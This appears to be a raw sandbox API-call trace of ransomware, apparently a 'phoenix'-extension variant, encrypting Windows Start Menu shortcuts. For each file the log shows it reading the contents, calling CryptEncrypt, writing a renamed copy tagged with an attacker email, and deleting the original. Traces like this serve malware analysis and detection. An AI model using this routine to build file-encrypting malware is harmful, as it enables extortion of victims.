	[0267.299] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.299] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.299] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\immersive control panel.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.300] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0267.300] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.300] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x92d, lpOverlapped=0x0) returned 1
	[0267.308] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x930, dwBufLen=0x930 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x930) returned 1
	[0267.308] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x930, lpOverlapped=0x0) returned 1
	[0267.309] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0267.309] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.309] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60, dwBufLen=0x60 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60) returned 1
	[0267.309] CryptDestroyKey (hKey=0x151700) returned 1
	[0267.309] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x112, lpOverlapped=0x0) returned 1
	[0267.309] CryptDestroyKey (hKey=0x151380) returned 1
	[0267.309] CloseHandle (hObject=0x2c4) returned 1
	[0267.309] CloseHandle (hObject=0x2e4) returned 1
	[0267.309] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\immersive control panel.lnk")) returned 1
	[0267.309] SetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix", dwFileAttributes=0x25) returned 1
	[0267.310] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.310] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.313] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2096) returned 1
	[0267.313] CloseHandle (hObject=0x244) returned 1
	[0267.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk")) returned 0x20
	[0267.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.314] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.314] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.314] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.314] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.314] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151780) returned 1
	[0267.315] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.315] ReadFile (in: hFile=0x244, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x830, lpOverlapped=0x0) returned 1
	[0267.358] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x840, dwBufLen=0x840 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x840) returned 1
	[0267.358] WriteFile (in: hFile=0x254, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x840, lpOverlapped=0x0) returned 1
	[0267.359] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0267.359] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.359] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0267.359] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0267.359] WriteFile (in: hFile=0x254, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0267.359] CryptDestroyKey (hKey=0x151780) returned 1
	[0267.359] CloseHandle (hObject=0x244) returned 1
	[0267.359] CloseHandle (hObject=0x254) returned 1
	[0267.360] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk")) returned 1
	[0267.360] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.361] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.361] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2072) returned 1
	[0267.361] CloseHandle (hObject=0x254) returned 1
	[0267.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk")) returned 0x20
	[0267.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.361] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.362] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.362] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.362] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.363] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0267.363] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.363] ReadFile (in: hFile=0x254, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x818, lpOverlapped=0x0) returned 1
	[0267.369] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x820, dwBufLen=0x820 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x820) returned 1
	[0267.369] WriteFile (in: hFile=0x244, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x820, lpOverlapped=0x0) returned 1
	[0267.370] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0267.370] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.370] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0267.370] CryptDestroyKey (hKey=0x151200) returned 1
	[0267.370] WriteFile (in: hFile=0x244, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0267.370] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.370] CloseHandle (hObject=0x254) returned 1
	[0267.370] CloseHandle (hObject=0x244) returned 1
	[0267.370] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk")) returned 1
	[0267.387] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.387] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.url"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.392] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=176) returned 1
	[0267.392] CloseHandle (hObject=0x2e4) returned 1
	[0267.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.url")) returned 0x20
	[0267.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.url.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.396] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.396] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.396] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.396] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.url.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.401] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0267.401] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.401] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0xb0, lpOverlapped=0x0) returned 1
	[0267.402] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0267.402] WriteFile (in: hFile=0x254, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xc0, lpOverlapped=0x0) returned 1
	[0267.403] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0267.403] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.403] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0267.403] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0267.403] WriteFile (in: hFile=0x254, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0267.403] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.403] CloseHandle (hObject=0x2e4) returned 1
	[0267.403] CloseHandle (hObject=0x254) returned 1
	[0267.403] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.url")) returned 1
	[0267.404] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.404] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 language preferences.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.449] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2440) returned 1
	[0267.449] CloseHandle (hObject=0x254) returned 1
	[0267.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 language preferences.lnk")) returned 0x20
	[0267.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 language preferences.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.450] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 language preferences.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.450] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.451] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.451] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 language preferences.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.453] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0267.453] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.453] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x988, lpOverlapped=0x0) returned 1
	[0267.519] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x990, dwBufLen=0x990 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x990) returned 1
	[0267.519] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x990, lpOverlapped=0x0) returned 1
	[0267.520] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151340) returned 1
	[0267.520] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.520] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70, dwBufLen=0x70 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70) returned 1
	[0267.520] CryptDestroyKey (hKey=0x151340) returned 1
	[0267.520] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x122, lpOverlapped=0x0) returned 1
	[0267.520] CryptDestroyKey (hKey=0x151640) returned 1
	[0267.520] CloseHandle (hObject=0x2e4) returned 1
	[0267.520] CloseHandle (hObject=0x2c0) returned 1
	[0267.520] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 language preferences.lnk")) returned 1
	[0267.524] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.525] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\project server 2016 accounts.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.542] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2283) returned 1
	[0267.542] CloseHandle (hObject=0x2c4) returned 1
	[0267.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\project server 2016 accounts.lnk")) returned 0x20
	[0267.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\project server 2016 accounts.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.543] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\project server 2016 accounts.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.543] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.543] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.543] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\project server 2016 accounts.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.543] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1510c0) returned 1
	[0267.543] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.543] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x8eb, lpOverlapped=0x0) returned 1
